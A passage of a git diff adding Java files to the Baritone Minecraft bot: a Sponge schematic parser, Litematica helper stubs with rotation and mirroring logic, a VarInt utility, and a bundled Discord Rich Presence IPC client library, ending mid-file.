+public final class SpongeSchematic extends StaticSchematic { + + public SpongeSchematic(CompoundNBT nbt) { + this.x = nbt.getInt("Width"); + this.y = nbt.getInt("Height"); + this.z = nbt.getInt("Length"); + this.states = new BlockState[this.x][this.z][this.y]; + + Int2ObjectArrayMap palette = new Int2ObjectArrayMap<>(); + CompoundNBT paletteTag = nbt.getCompound("Palette"); + for (String tag : paletteTag.keySet()) { + int index = paletteTag.getInt(tag); + + SerializedBlockState serializedState = SerializedBlockState.getFromString(tag); + if (serializedState == null) { + throw new IllegalArgumentException("Unable to parse palette tag"); + } + + BlockState state = serializedState.deserialize(); + if (state == null) { + throw new IllegalArgumentException("Unable to deserialize palette tag"); + } + + palette.put(index, state); + } + + // BlockData is stored as an NBT byte[], however, the actual data that is represented is a varint[] + byte[] rawBlockData = nbt.getByteArray("BlockData"); + int[] blockData = new int[this.x * this.y * this.z]; + int offset = 0; + for (int i = 0; i < blockData.length; i++) { + if (offset >= rawBlockData.length) { + throw new IllegalArgumentException("No remaining bytes in BlockData for complete schematic"); + } + + VarInt varInt = VarInt.read(rawBlockData, offset); + blockData[i] = varInt.getValue(); + offset += varInt.getSize(); + } + + for (int y = 0; y < this.y; y++) { + for (int z = 0; z < this.z; z++) { + for (int x = 0; x < this.x; x++) { + int index = (y * this.z + z) * this.x + x; + BlockState state = palette.get(blockData[index]); + if (state == null) { + throw new IllegalArgumentException("Invalid Palette Index " + index); + } + + this.states[x][z][y] = state; + } + } + } + } + + private static final class SerializedBlockState { + + private static final Pattern REGEX = Pattern.compile("(?(\\w+:)?\\w+)(\\[(?(\\w+=\\w+,?)+)])?"); + + private final ResourceLocation resourceLocation; + private final Map properties; + private BlockState blockState; + + private SerializedBlockState(ResourceLocation resourceLocation, Map properties) { + this.resourceLocation = resourceLocation; + this.properties = properties; + } + + private BlockState deserialize() { + if (this.blockState == null) { + Block block = Registry.BLOCK.getOrDefault(this.resourceLocation); + this.blockState = block.getDefaultState(); + + this.properties.keySet().stream().sorted(String::compareTo).forEachOrdered(key -> { + Property property = block.getStateContainer().getProperty(key); + if (property != null) { + this.blockState = setPropertyValue(this.blockState, property, this.properties.get(key)); + } + }); + } + return this.blockState; + } + + private static SerializedBlockState getFromString(String s) { + Matcher m = REGEX.matcher(s); + if (!m.matches()) { + return null; + } + + try { + String location = m.group("location"); + String properties = m.group("properties"); + + ResourceLocation resourceLocation = new ResourceLocation(location); + Map propertiesMap = new HashMap<>(); + if (properties != null) { + for (String property : properties.split(",")) { + String[] split = property.split("="); + propertiesMap.put(split[0], split[1]); + } + } + + return new SerializedBlockState(resourceLocation, propertiesMap); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + private static > BlockState setPropertyValue(BlockState state, Property property, String value) { + Optional parsed = property.parseValue(value); + if (parsed.isPresent()) { + return state.with(property, parsed.get()); + } else { + throw new IllegalArgumentException("Invalid value for property " + property); + } + } + } +} diff --git a/src/baritone/utils/schematic/litematica/LitematicaHelper.java b/src/baritone/utils/schematic/litematica/LitematicaHelper.java new file mode 100644 index 00000000..caa1aa3b --- /dev/null +++ b/src/baritone/utils/schematic/litematica/LitematicaHelper.java @@ -0,0 +1,208 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic.litematica; + +import baritone.utils.schematic.format.defaults.LitematicaSchematic; +import net.minecraft.block.BlockState; +import net.minecraft.util.Mirror; +import net.minecraft.util.Rotation; +import net.minecraft.util.math.vector.Vector3i; + +import java.io.File; + +/** + * Helper class that provides access or processes data related to Litmatica schematics. + * + * @author rycbar + * @since 28.09.2022 + */ +public final class LitematicaHelper { + + /** + * @return if Litmatica is installed. + */ + public static boolean isLitematicaPresent() { + return false; + } + + /** + * @return if there are loaded schematics. + */ + public static boolean hasLoadedSchematic() { + return false; + } + + /** + * @param i index of the Schematic in the schematic placement list. + * @return the name of the requested schematic. + */ + public static String getName(int i) { + return null; + } + + /** + * @param i index of the Schematic in the schematic placement list. + * @return the world coordinates of the schematic origin. This can but does not have to be the minimum corner. + */ + public static Vector3i getOrigin(int i) { + return null; + } + + /** + * @param i index of the Schematic in the schematic placement list. + * @return Filepath of the schematic file. + */ + public static File getSchematicFile(int i) { + return null; + } + + /** + * @param i index of the Schematic in the schematic placement list. + * @return rotation of the schematic placement. + */ + public static Rotation getRotation(int i) { + return null; + } + + /** + * @param i index of the Schematic in the schematic placement list. + * @return the mirroring of the schematic placement. + */ + public static Mirror getMirror(int i) { + return null; + } + + /** + * @param schematic original schematic. + * @param i index of the Schematic in the schematic placement list. + * @return the minimum corner coordinates of the schematic, after the original schematic got rotated and mirrored. + */ + public static Vector3i getCorrectedOrigin(LitematicaSchematic schematic, int i) { + int x = LitematicaHelper.getOrigin(i).getX(); + int y = LitematicaHelper.getOrigin(i).getY(); + int z = LitematicaHelper.getOrigin(i).getZ(); + int mx = schematic.getOffsetMinCorner().getX(); + int my = schematic.getOffsetMinCorner().getY(); + int mz = schematic.getOffsetMinCorner().getZ(); + int sx = (schematic.getX() - 1) * -1; + int sz = (schematic.getZ() - 1) * -1; + + Vector3i correctedOrigin; + Mirror mirror = LitematicaHelper.getMirror(i); + Rotation rotation = LitematicaHelper.getRotation(i); + + //todo there has to be a better way to do this but i cant finde it atm + switch (mirror) { + case FRONT_BACK: + case LEFT_RIGHT: + switch ((mirror.ordinal() * 2 + rotation.ordinal()) % 4) { + case 1: + correctedOrigin = new Vector3i(x + (sz - mz), y + my, z + (sx - mx)); + break; + case 2: + correctedOrigin = new Vector3i(x + mx, y + my, z + (sz - mz)); + break; + case 3: + correctedOrigin = new Vector3i(x + mz, y + my, z + mx); + break; + default: + correctedOrigin = new Vector3i(x + (sx - mx), y + my, z + mz); + break; + } + break; + default: + switch (rotation) { + case CLOCKWISE_90: + correctedOrigin = new Vector3i(x + (sz - mz), y + my, z + mx); + break; + case CLOCKWISE_180: + correctedOrigin = new Vector3i(x + (sx - mx), y + my, z + (sz - mz)); + break; + case COUNTERCLOCKWISE_90: + correctedOrigin = new Vector3i(x + mz, y + my, z + (sx - mx)); + break; + default: + correctedOrigin = new Vector3i(x + mx, y + my, z + mz); + break; + } + } + return correctedOrigin; + } + + /** + * @param in the xyz offsets of the block relative to the schematic minimum corner. + * @param sizeX size of the schematic in the x-axis direction. + * @param sizeZ size of the schematic in the z-axis direction. + * @param mirror the mirroring of the schematic placement. + * @return the corresponding xyz coordinates after mirroring them according to the given mirroring. + */ + public static Vector3i doMirroring(Vector3i in, int sizeX, int sizeZ, Mirror mirror) { + int xOut = in.getX(); + int zOut = in.getZ(); + if (mirror == Mirror.LEFT_RIGHT) { + zOut = sizeZ - in.getZ(); + } else if (mirror == Mirror.FRONT_BACK) { + xOut = sizeX - in.getX(); + } + return new Vector3i(xOut, in.getY(), zOut); + } + + /** + * @param in the xyz offsets of the block relative to the schematic minimum corner. + * @param sizeX size of the schematic in the x-axis direction. + * @param sizeZ size of the schematic in the z-axis direction. + * @return the corresponding xyz coordinates after rotation them 90° clockwise. + */ + public static Vector3i rotate(Vector3i in, int sizeX, int sizeZ) { + return new Vector3i(sizeX - (sizeX - sizeZ) - in.getZ(), in.getY(), in.getX()); + } + + /** + * IDFK this just grew and it somehow works. If you understand how, pls tell me. + * + * @param schemIn give in the original schematic. + * @param i index of the Schematic in the schematic placement list. + * @return get it out rotated and mirrored. + */ + public static LitematicaSchematic blackMagicFuckery(LitematicaSchematic schemIn, int i) { + LitematicaSchematic tempSchem = schemIn.getCopy(LitematicaHelper.getRotation(i).ordinal() % 2 == 1); + for (int yCounter = 0; yCounter < schemIn.getY(); yCounter++) { + for (int zCounter = 0; zCounter < schemIn.getZ(); zCounter++) { + for (int xCounter = 0; xCounter < schemIn.getX(); xCounter++) { + Vector3i xyzHolder = new Vector3i(xCounter, yCounter, zCounter); + xyzHolder = LitematicaHelper.doMirroring(xyzHolder, schemIn.getX() - 1, schemIn.getZ() - 1, LitematicaHelper.getMirror(i)); + for (int turns = 0; turns < LitematicaHelper.getRotation(i).ordinal(); turns++) { + if ((turns % 2) == 0) { + xyzHolder = LitematicaHelper.rotate(xyzHolder, schemIn.getX() - 1, schemIn.getZ() - 1); + } else { + xyzHolder = LitematicaHelper.rotate(xyzHolder, schemIn.getZ() - 1, schemIn.getX() - 1); + } + } + BlockState state = schemIn.getDirect(xCounter, yCounter, zCounter); + try { + state = state.mirror(LitematicaHelper.getMirror(i)).rotate(LitematicaHelper.getRotation(i)); + } catch (NullPointerException e) { + //nothing to worry about it's just a hole in the schematic. + } + tempSchem.setDirect(xyzHolder.getX(), xyzHolder.getY(), xyzHolder.getZ(), state); + } + } + } + return tempSchem; + } +} \ No newline at end of file diff --git a/src/baritone/utils/schematic/schematica/SchematicaHelper.java b/src/baritone/utils/schematic/schematica/SchematicaHelper.java new file mode 100644 index 00000000..445c3691 --- /dev/null +++ b/src/baritone/utils/schematic/schematica/SchematicaHelper.java @@ -0,0 +1,36 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic.schematica; + +import baritone.api.schematic.IStaticSchematic; +import net.minecraft.util.Tuple; +import net.minecraft.util.math.BlockPos; + +import java.util.Optional; + +public enum SchematicaHelper { + ; + + public static boolean isSchematicaPresent() { + return false; + } + public static Optional> getOpenSchematic() { + return null; + } + +} diff --git a/src/baritone/utils/type/VarInt.java b/src/baritone/utils/type/VarInt.java new file mode 100644 index 00000000..7cc005bd --- /dev/null +++ b/src/baritone/utils/type/VarInt.java @@ -0,0 +1,95 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.type; + +import it.unimi.dsi.fastutil.bytes.ByteArrayList; +import it.unimi.dsi.fastutil.bytes.ByteList; + +/** + * @author Brady + * @since 12/19/2019 + */ +public final class VarInt { + + private final int value; + private final byte[] serialized; + private final int size; + + public VarInt(int value) { + this.value = value; + this.serialized = serialize0(this.value); + this.size = this.serialized.length; + } + + /** + * @return The integer value that is represented by this {@link VarInt}. + */ + public final int getValue() { + return this.value; + } + + /** + * @return The size of this {@link VarInt}, in bytes, once serialized. + */ + public final int getSize() { + return this.size; + } + + public final byte[] serialize() { + return this.serialized; + } + + private static byte[] serialize0(int valueIn) { + ByteList bytes = new ByteArrayList(); + + int value = valueIn; + while ((value & 0x80) != 0) { + bytes.add((byte) (value & 0x7F | 0x80)); + value >>>= 7; + } + bytes.add((byte) (value & 0xFF)); + + return bytes.toByteArray(); + } + + public static VarInt read(byte[] bytes) { + return read(bytes, 0); + } + + public static VarInt read(byte[] bytes, int start) { + int value = 0; + int size = 0; + int index = start; + + while (true) { + byte b = bytes[index++]; + value |= (b & 0x7F) << size++ * 7; + + if (size > 5) { + throw new IllegalArgumentException("VarInt size cannot exceed 5 bytes"); + } + + // Most significant bit denotes another byte is to be read. + if ((b & 0x80) == 0) { + break; + } + } + + return new VarInt(value); + } +} diff --git a/src/com/jagrosh/discordipc/IPCClient.java b/src/com/jagrosh/discordipc/IPCClient.java new file mode 100644 index 00000000..a9050355 --- /dev/null +++ b/src/com/jagrosh/discordipc/IPCClient.java @@ -0,0 +1,450 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.jagrosh.discordipc; + +import com.jagrosh.discordipc.entities.*; +import com.jagrosh.discordipc.entities.Packet.OpCode; +import com.jagrosh.discordipc.entities.pipe.Pipe; +import com.jagrosh.discordipc.entities.pipe.PipeStatus; +import com.jagrosh.discordipc.exceptions.NoDiscordClientException; +import org.json.JSONException; +import org.json.JSONObject; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.Closeable; +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.util.HashMap; + +/** + * Represents a Discord IPC Client that can send and receive + * Rich Presence data.

+ * + * The ID provided should be the client ID of the particular + * application providing Rich Presence, which can be found + * here.

+ * + * When initially created using {@link #IPCClient(long)} the client will + * be inactive awaiting a call to {@link #connect(DiscordBuild...)}.
+ * After the call, this client can send and receive Rich Presence data + * to and from discord via {@link #sendRichPresence(RichPresence)} and + * {@link #setListener(IPCListener)} respectively.

+ * + * Please be mindful that the client created is initially unconnected, + * and calling any methods that exchange data between this client and + * Discord before a call to {@link #connect(DiscordBuild...)} will cause + * an {@link IllegalStateException} to be thrown.
+ * This also means that the IPCClient cannot tell whether the client ID + * provided is valid or not before a handshake. + * + * @author John Grosh (john.a.grosh@gmail.com) + */ +public final class IPCClient implements Closeable +{ + private static final Logger LOGGER = LoggerFactory.getLogger(IPCClient.class); + private final long clientId; + private final HashMap callbacks = new HashMap<>(); + private volatile Pipe pipe; + private IPCListener listener = null; + private Thread readThread = null; + + /** + * Constructs a new IPCClient using the provided {@code clientId}.
+ * This is initially unconnected to Discord. + * + * @param clientId The Rich Presence application's client ID, which can be found + * here + */ + public IPCClient(long clientId) + { + this.clientId = clientId; + } + + /** + * Sets this IPCClient's {@link IPCListener} to handle received events.

+ * + * A single IPCClient can only have one of these set at any given time.
+ * Setting this {@code null} will remove the currently active one.

+ * + * This can be set safely before a call to {@link #connect(DiscordBuild...)} + * is made. + * + * @param listener The {@link IPCListener} to set for this IPCClient. + * + * @see IPCListener + */ + public void setListener(IPCListener listener) + { + this.listener = listener; + if (pipe != null) + pipe.setListener(listener); + } + + /** + * Opens the connection between the IPCClient and Discord.

+ * + * This must be called before any data is exchanged between the + * IPCClient and Discord. + * + * @param preferredOrder the priority order of client builds to connect to + * + * @throws IllegalStateException + * There is an open connection on this IPCClient. + * @throws NoDiscordClientException + * No client of the provided {@link DiscordBuild build type}(s) was found. + */ + public void connect(DiscordBuild... preferredOrder) throws NoDiscordClientException + { + checkConnected(false); + callbacks.clear(); + pipe = null; + + pipe = Pipe.openPipe(this, clientId, callbacks, preferredOrder); + + LOGGER.debug("Client is now connected and ready!"); + if(listener != null) + listener.onReady(this); + startReading(); + } + + /** + * Sends a {@link RichPresence} to the Discord client.

+ * + * This is where the IPCClient will officially display + * a Rich Presence in the Discord client.

+ * + * Sending this again will overwrite the last provided + * {@link RichPresence}. + * + * @param presence The {@link RichPresence} to send. + * + * @throws IllegalStateException + * If a connection was not made prior to invoking + * this method. + * + * @see RichPresence + */ + public void sendRichPresence(RichPresence presence) + { + sendRichPresence(presence, null); + } + + /** + * Sends a {@link RichPresence} to the Discord client.

+ * + * This is where the IPCClient will officially display + * a Rich Presence in the Discord client.

+ * + * Sending this again will overwrite the last provided + * {@link RichPresence}. + * + * @param presence The {@link RichPresence} to send. + * @param callback A {@link Callback} to handle success or error + * + * @throws IllegalStateException + * If a connection was not made prior to invoking + * this method. + * + * @see RichPresence + */ + public void sendRichPresence(RichPresence presence, Callback callback) + { + checkConnected(true); + LOGGER.debug("Sending RichPresence to discord: "+(presence == null ? null : presence.toJson().toString())); + pipe.send(OpCode.FRAME, new JSONObject() + .put("cmd","SET_ACTIVITY") + .put("args", new JSONObject() + .put("pid",getPID()) + .put("activity",presence == null ? null : presence.toJson())), callback); + } + + /** + * Adds an event {@link Event} to this IPCClient.
+ * If the provided {@link Event} is added more than once, + * it does nothing. + * Once added, there is no way to remove the subscription + * other than {@link #close() closing} the connection + * and creating a new one. + * + * @param sub The event {@link Event} to add. + * + * @throws IllegalStateException + * If a connection was not made prior to invoking + * this method. + */ + public void subscribe(Event sub) + { + subscribe(sub, null); + } + + /** + * Adds an event {@link Event} to this IPCClient.
+ * If the provided {@link Event} is added more than once, + * it does nothing. + * Once added, there is no way to remove the subscription + * other than {@link #close() closing} the connection + * and creating a new one. + * + * @param sub The event {@link Event} to add. + * @param callback The {@link Callback} to handle success or failure + * + * @throws IllegalStateException + * If a connection was not made prior to invoking + * this method. + */ + public void subscribe(Event sub, Callback callback) + { + checkConnected(true); + if(!sub.isSubscribable()) + throw new IllegalStateException("Cannot subscribe to "+sub+" event!"); + LOGGER.debug(String.format("Subscribing to Event: %s", sub.name())); + pipe.send(OpCode.FRAME, new JSONObject() + .put("cmd", "SUBSCRIBE") + .put("evt", sub.name()), callback); + } + + /** + * Gets the IPCClient's current {@link PipeStatus}. + * + * @return The IPCClient's current {@link PipeStatus}. + */ + public PipeStatus getStatus() + { + if (pipe == null) return PipeStatus.UNINITIALIZED; + + return pipe.getStatus(); + } + + /** + * Attempts to close an open connection to Discord.
+ * This can be reopened with another call to {@link #connect(DiscordBuild...)}. + * + * @throws IllegalStateException + * If a connection was not made prior to invoking + * this method. + */ + @Override + public void close() + { + checkConnected(true); + + try { + pipe.close(); + } catch (IOException e) { + LOGGER.debug("Failed to close pipe", e); + } + } + + /** + * Gets the IPCClient's {@link DiscordBuild}.

+ * + * This is always the first specified DiscordBuild when + * making a call to {@link #connect(DiscordBuild...)}, + * or the first one found if none or {@link DiscordBuild#ANY} + * is specified.

+ * + * Note that specifying ANY doesn't mean that this will return + * ANY. In fact this method should never return the + * value ANY. + * + * @return The {@link DiscordBuild} of this IPCClient, or null if not connected. + */ + public DiscordBuild getDiscordBuild() + { + if (pipe == null) return null; + + return pipe.getDiscordBuild(); + } + + /** + * Constants representing events that can be subscribed to + * using {@link #subscribe(Event)}.

+ * + * Each event corresponds to a different function as a + * component of the Rich Presence.
+ * A full breakdown of each is available + * here. + */ + public enum Event + { + NULL(false), // used for confirmation + READY(false), + ERROR(false), + ACTIVITY_JOIN(true), + ACTIVITY_SPECTATE(true), + ACTIVITY_JOIN_REQUEST(true), + /** + * A backup key, only important if the + * IPCClient receives an unknown event + * type in a JSON payload. + */ + UNKNOWN(false); + + private final boolean subscribable; + + Event(boolean subscribable) + { + this.subscribable = subscribable; + } + + public boolean isSubscribable() + { + return subscribable; + } + + static Event of(String str) + { + if(str==null) + return NULL; + for(Event s : Event.values()) + { + if(s != UNKNOWN && s.name().equalsIgnoreCase(str)) + return s; + } + return UNKNOWN; + } + } + + + // Private methods + + /** + * Makes sure that the client is connected (or not) depending on if it should + * for the current state. + * + * @param connected Whether to check in the context of the IPCClient being + * connected or not. + */ + private void checkConnected(boolean connected) + { + if(connected && getStatus() != PipeStatus.CONNECTED) + throw new IllegalStateException(String.format("IPCClient (ID: %d) is not connected!", clientId)); + if(!connected && getStatus() == PipeStatus.CONNECTED) + throw new IllegalStateException(String.format("IPCClient (ID: %d) is already connected!", clientId)); + } + + /** + * Initializes this IPCClient's {@link IPCClient#readThread readThread} + * and calls the first {@link Pipe#read()}. + */ + private void startReading() + { + readThread = new Thread(() -> { + try + { + Packet p; + while((p = pipe.read()).getOp() != OpCode.CLOSE) + { + JSONObject json = p.getJson(); + Event event = Event.of(json.optString("evt", null)); + String nonce = json.optString("nonce", null); + switch(event) + { + case NULL: + if(nonce != null && callbacks.containsKey(nonce)) + callbacks.remove(nonce).succeed(p); + break; + + case ERROR: + if(nonce != null && callbacks.containsKey(nonce)) + callbacks.remove(nonce).fail(json.getJSONObject("data").optString("message", null)); + break; + + case ACTIVITY_JOIN: + LOGGER.debug("Reading thread received a 'join' event."); + break; + + case ACTIVITY_SPECTATE: + LOGGER.debug("Reading thread received a 'spectate' event."); + break; + + case ACTIVITY_JOIN_REQUEST: + LOGGER.debug("Reading thread received a 'join request' event."); + break; + + case UNKNOWN: + LOGGER.debug("Reading thread encountered an event with an unknown type: " + + json.getString("evt")); + break; + } + if(listener != null && json.has("cmd") && json.getString("cmd").equals("DISPATCH")) + { + try + { + JSONObject data = json.getJSONObject("data"); + switch(Event.of(json.getString("evt"))) + { + case ACTIVITY_JOIN: + listener.onActivityJoin(this, data.getString("secret")); + break; + + case ACTIVITY_SPECTATE: + listener.onActivitySpectate(this, data.getString("secret")); + break; + + case ACTIVITY_JOIN_REQUEST: + JSONObject u = data.getJSONObject("user"); + User user = new User( + u.getString("username"), + u.getString("discriminator"), + Long.parseLong(u.getString("id")), + u.optString("avatar", null) + ); + listener.onActivityJoinRequest(this, data.optString("secret", null), user); + break; + } + } + catch(Exception e) + { + LOGGER.error("Exception when handling event: ", e); + } + } + } + pipe.setStatus(PipeStatus.DISCONNECTED); + if(listener != null) + listener.onClose(this, p.getJson()); + } + catch(IOException | JSONException ex) + { + if(ex instanceof IOException) + LOGGER.error("Reading thread encountered an IOException", ex); + else + LOGGER.error("Reading thread encountered an JSONException", ex); + + pipe.setStatus(PipeStatus.DISCONNECTED); + if(listener != null) + listener.onDisconnect(this, ex); + } + }); + + LOGGER.debug("Starting IPCClient reading thread!"); + readThread.start(); + } + + // Private static methods + + /** + * Finds the current process ID. + * + * @return The current process ID. + */ + private static int getPID() + { + String pr = ManagementFactory.getRuntimeMXBean().getName(); + return Integer.parseInt(pr.substring(0,pr.indexOf('@'))); + } +} diff --git a/src/com/jagrosh/discordipc/IPCListener.java b/src/com/jagrosh/discordipc/IPCListener.java new file mode 100644 index 00000000..7496faf2 --- /dev/null +++ b/src/com/jagrosh/discordipc/IPCListener.java @@ -0,0 +1,101 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.jagrosh.discordipc; + +import com.jagrosh.discordipc.entities.Packet; +import com.jagrosh.discordipc.entities.User; +import org.json.JSONObject; + +/** + * An implementable listener used to handle events caught by an {@link IPCClient}.

+ * + * Can be attached to an IPCClient using {@link IPCClient#setListener(IPCListener)}. + * + * @author John Grosh (john.a.grosh@gmail.com) + */ +public interface IPCListener +{ + /** + * Fired whenever an {@link IPCClient} sends a {@link Packet} to Discord. + * + * @param client The IPCClient sending the Packet. + * @param packet The Packet being sent. + */ + default void onPacketSent(IPCClient client, Packet packet) {} + + /** + * Fired whenever an {@link IPCClient} receives a {@link Packet} to Discord. + * + * @param client The IPCClient receiving the Packet. + * @param packet The Packet being received. + */ + default void onPacketReceived(IPCClient client, Packet packet) {} + + /** + * Fired whenever a RichPresence activity informs us that + * a user has clicked a "join" button. + * + * @param client The IPCClient receiving the event. + * @param secret The secret of the event, determined by the implementation and specified by the user. + */ + default void onActivityJoin(IPCClient client, String secret) {} + + /** + * Fired whenever a RichPresence activity informs us that + * a user has clicked a "spectate" button. + * + * @param client The IPCClient receiving the event. + * @param secret The secret of the event, determined by the implementation and specified by the user. + */ + default void onActivitySpectate(IPCClient client, String secret) {} + + /** + * Fired whenever a RichPresence activity informs us that + * a user has clicked a "ask to join" button.

+ * + * As opposed to {@link #onActivityJoin(IPCClient, String)}, + * this also provides packaged {@link User} data. + * + * @param client The IPCClient receiving the event. + * @param secret The secret of the event, determined by the implementation and specified by the user. + * @param user The user who clicked the clicked the event, containing data on the account. + */ + default void onActivityJoinRequest(IPCClient client, String secret, User user) {} + + /** + * Fired whenever an {@link IPCClient} is ready and connected to Discord. + * + * @param client The now ready IPCClient. + */ + default void onReady(IPCClient client) {} + + /** + * Fired whenever an {@link IPCClient} has closed. + * + * @param client The now closed IPCClient. + * @param json A {@link JSONObject} with close data. + */ + default void onClose(IPCClient client, JSONObject json) {} + + /** + * Fired whenever an {@link IPCClient} has disconnected, + * either due to bad data or an exception. + * + * @param client The now closed IPCClient. + * @param t A {@link Throwable} responsible for the disconnection. + */ + default void onDisconnect(IPCClient client, Throwable t) {} +} diff --git a/src/com/jagrosh/discordipc/entities/Callback.java b/src/com/jagrosh/discordipc/entities/Callback.java new file mode 100644 index 00000000..128fcdfe --- /dev/null +++ b/src/com/jagrosh/discordipc/entities/Callback.java @@ -0,0 +1,121 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.jagrosh.discordipc.entities; + +import java.util.function.Consumer; + +/** + * A callback for asynchronous logic when dealing processes that + * would normally block the calling thread.

+ * + * This is most visibly implemented in {@link com.jagrosh.discordipc.IPCClient IPCClient}. + * + * @author John Grosh (john.a.grosh@gmail.com) + */ +public class Callback +{ + private final Consumer success; + private final Consumer failure; + + /** + * Constructs an empty Callback. + */ + public Callback() + { + this((Consumer) null, null); + } + + /** + * Constructs a Callback with a success {@link Consumer} that + * occurs when the process it is attached to executes without + * error. + * + * @param success The Consumer to launch after a successful process. + */ + public Callback(Consumer success) + { + this(success, null); + } + + /** + * Constructs a Callback with a success {@link Consumer} and + * a failure {@link Consumer} that occurs when the process it is + * attached to executes without or with error (respectively). + * + * @param success The Consumer to launch after a successful process. + * @param failure The Consumer to launch if the process has an error. + */ + public Callback(Consumer success, Consumer failure) + { + this.success = success; + this.failure = failure; + } + + /** + * @param success The Runnable to launch after a successful process. + * @param failure The Consumer to launch if the process has an error. + */ + @Deprecated + public Callback(Runnable success, Consumer failure) + { + this(p -> success.run(), failure); + } + + /** + * @param success The Runnable to launch after a successful process. + */ + @Deprecated + public Callback(Runnable success) + { + this(p -> success.run(), null); + } + + /** + * Gets whether or not this Callback is "empty" which is more precisely + * defined as not having a specified success {@link Consumer} and/or a + * failure {@link Consumer}.
+ * This is only true if the Callback is constructed with the parameter-less + * constructor ({@link #Callback()}) or another constructor that leaves + * one or both parameters {@code null}. + * + * @return {@code true} if and only if the + */ + public boolean isEmpty() + { + return success == null && failure == null; + } + + /** + * Launches the success {@link Consumer}. + */ + public void succeed(Packet packet) + { + if(success != null) + success.accept(packet); + } + + /** + * Launches the failure {@link Consumer} with the + * provided message. + * + * @param message The message to launch the failure consumer with. + */ + public void fail(String message) + { + if(failure != null) + failure.accept(message); + } +} diff --git a/src/com/jagrosh/discordipc/entities/DiscordBuild.java b/src/com/jagrosh/discordipc/entities/DiscordBuild.java new file mode 100644 index 00000000..2fa3967c --- /dev/null +++ b/src/com/jagrosh/discordipc/entities/DiscordBuild.java @@ -0,0 +1,81 @@ +/* + * Copyright 2017 Kaidan Gustave + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.jagrosh.discordipc.entities; + +/** + * Constants representing various Discord client builds, + * such as Stable, Canary, Public Test Build (PTB) + */ +public enum DiscordBuild +{ + /** + * Constant for the current Discord Canary release. + */ + CANARY("//canary.discordapp.com/api"), + + /** + * Constant for the current Discord Public Test Build or PTB release. + */ + PTB("//ptb.discordapp.com/api"), + + /** + * Constant for the current stable Discord release. + */ + STABLE("//discordapp.com/api"), + + /** + * 'Wildcard' build constant used in {@link com.jagrosh.discordipc.IPCClient#connect(DiscordBuild...) + * IPCClient#connect(DiscordBuild...)} to signify that the build to target is not important, and + * that the first valid build will be used.

+ * + * Other than this exact function, there is no use for this value. + */ + ANY; + + private final String endpoint; + + DiscordBuild(String endpoint) + { + this.endpoint = endpoint; + } + + DiscordBuild() + { + this(null); + } + + /** + * Gets a {@link DiscordBuild} matching the specified endpoint.

